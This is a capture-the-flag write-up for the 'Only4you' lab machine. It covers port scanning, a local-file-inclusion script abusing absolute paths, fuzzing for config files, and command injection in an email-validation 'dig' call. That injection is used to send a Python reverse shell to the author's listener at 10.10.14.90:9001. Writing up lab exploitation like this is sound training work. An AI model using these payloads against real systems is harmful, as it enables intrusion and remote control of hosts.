CTF Only For You
A simple sumary
· 5 min read
Investigation #
First getting the lay of the land. Lets start off with a scan of the box to see what services we are attacking.
nmap -O 10.10.11.210 -sC -sV
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-01 13:04 BST
Nmap scan report for only4you.htb (10.10.11.210)
Host is up (0.017s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e8:83:e0:a9:fd:43:df:38:19:8a:aa:35:43:84:11:ec (RSA)
| 256 83:f2:35:22:9b:03:86:0c:16:cf:b3:fa:9f:5a:cd:08 (ECDSA)
|_ 256 44:5f:7a:a3:77:69:0a:77:78:9b:04:e0:9f:11:db:80 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Only4you
|_http-server-header: nginx/1.18.0 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94%E=4%D=6/1%OT=22%CT=1%CU=42825%PV=Y%DS=2%DC=I%G=Y%TM=6478894C
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=10F%TI=Z%CI=Z%II=I%TS=A)OPS(
OS:O1=M550ST11NW7%O2=M550ST11NW7%O3=M550NNT11NW7%O4=M550ST11NW7%O5=M550ST11
OS:NW7%O6=M550ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(
OS:R=Y%DF=Y%T=40%W=FAF0%O=M550NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS
OS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=
OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=
OS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T
OS:=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=
OS:S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.09 seconds
There is an http server and a ssh server. Requesting our domain results in a redirect to http://only4you.htb
so I need to update my /etc/hosts
with the domain
I would need credentials to attack the ssh server so I’m going to ignore it till later.
only4you.htb #
Lets see what our HTTP server responds with. Using Link Gopher extension, we can extract every link on the home website.
links
http://beta.only4you.htb/
http://only4you.htb/
http://only4you.htb/#
http://only4you.htb/#about
http://only4you.htb/#contact
http://only4you.htb/#hero
http://only4you.htb/#services
http://only4you.htb/#team
https://bootstrapmade.com/
domains
http://beta.only4you.htb/
http://only4you.htb/
https://bootstrapmade.com/
beta.only4you.htb is very interesting and we are going to add it to our hosts file for later.
There also is a form which we can use. filling it out responds in a 302 html response. This looks to be non functional on this website. This might be something to try out later
time to investigate the beta site.
beta.only4you.htb #
This website immediately gives you the source code to the website.
Looking over it, /download
immediately jumps out at me for an LFI.
@app.route('/download', methods=['POST'])
def download():
image = request.form['image']
filename = posixpath.normpath(image)
if '..' in filename or filename.startswith('../'):
flash('Hacking detected!', 'danger')
return redirect('/list')
if not os.path.isabs(filename):
filename = os.path.join(app.config['LIST_FOLDER'], filename)
try:
if not os.path.isfile(filename):
flash('Image doesn\'t exist!', 'danger')
return redirect('/list')
except (TypeError, ValueError):
raise BadRequest()
return send_file(filename, as_attachment=True)
Reading though, it appears to have some prevention for basic LFI. However, after some testing, it appears we can use the absolute path instead of a relative path to find files near the root of the file system.
import os
os.path.isabs("/etc/passwd")
using this knowledge, we can compose a payload which avoids the 1st and 2nd condition checks. After some scripting and a little work, we have a basic LFI tool.
#!/usr/bin/env python3
import requests
import sys
def lfi(file):
url = "http://beta.only4you.htb/download"
payload = {
"image": file
}
r = requests.post(url, data=payload)
return r.text
if __name__ == "__main__":
file = sys.argv[1]
print(lfi(file))
This works and we have a working LFI!
LFI #
Now that we have LFI, its time to find out information about the system. Time for fuzzing!
I use a simple wordlist to find some of the useful files.
wfuzz -z file,file_inclusion_linux.txt -d "image=/FUZZ" --hc 302 "http://beta .only4you.htb/download"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://beta.only4you.htb/download
Total requests: 1226
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000003: 200 280 L 969 W 9733 Ch "/boot/grub/grub.cfg"
000000005: 200 88 L 467 W 3028 Ch "/etc/adduser.conf"
000000065: 200 20 L 68 W 778 Ch "/etc/dhcp/dhclient.conf"
000000062: 200 20 L 99 W 604 Ch "/etc/deluser.conf"
000000061: 200 33 L 173 W 1421 Ch "/etc/default/grub"
000000060: 200 1 L 1 W 13 Ch "/etc/debian_version"
...
After looking though the results, there are only a few files of interest.
Of interest is /etc/nginx/sites-available/default
because it helps us work out the where the server code is.
server {
listen 80;
return 301 http://only4you.htb$request_uri;
}
server {
listen 80;
server_name only4you.htb;
location / {
include proxy_params;
proxy_pass http://unix:/var/www/only4you.htb/only4you.sock;
}
}
...
It looks like its using only4you.htb for the server name which is interesting.
Though some educated guesses, we can guess the service files.
/etc/systemd/system/only4you.service
[Unit]
Description=Gunicorn instance for only4you
After=network.target
[Service]
User=www-data
Group=www-data
WorkingDirectory=/var/www/only4you.htb
ExecStart=/usr/bin/gunicorn --workers 3 --bind unix:only4you.sock -m 007 app:app
[Install]
WantedBy=multi-user.target
It looks to be a python server in /var/www/only4you.htb/app.py
I can test this by requesting the file.
only4you.htb source code #
from flask import Flask, render_template, request, flash, redirect
from form import sendmessage
import uuid
app = Flask(__name__)
app.secret_key = uuid.uuid4().hex
...
Looking though this file, we find nothing of interest. There is a strange import from something called form. Trying to request form.py results in a much more interesting file
import smtplib, re
from email.message import EmailMessage
from subprocess import PIPE, run
import ipaddress
def issecure(email, ip):
if not re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email):
return 0
else:
domain = email.split("@", 1)[1]
result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
output = result.stdout.decode('utf-8')
if "v=spf1" not in output:
return 1
else:
...
Importantly, this code appears to execute dig txt {domain}
The code does no form of sanitisation on this input which means its ideal for an RCE!
Starting a listener server with netcat nc -lvnp 9001
, we start to make attempts.
No hits on using bash or nc for a reverse shell.
Attempting to spawn a shell using python works however!
Using curl we can easily spawn a shell session
curl --location 'http://only4you.htb/' \
--form 'email="fake@gmail.com && python3 -c
'\''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.90\",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")'\''"' \
--form 'subject="test"' \
--form 'message="test"'
Now that I have a reverse shell, i run linpeas to enumerate the system.
While enumerating, i find that /bin/bash
has a privilege escalation vun.
running bash -p
This dropped me straight into root and I collected my flags.
Post Comments #
I don’t believe my PVE exploit was intended as i bypassed a lot of the box. Furthermore, testing for this PVE after the box was reset, I couldn’t find it again.
I might go back and attempt this box again because ended up not using a lot of the services such as:
- ssh
- mysql
- neo4j
and it might be interesting to see how they they were involved.
Overall i found the box pretty simple and short. (probably due to unintentional solution)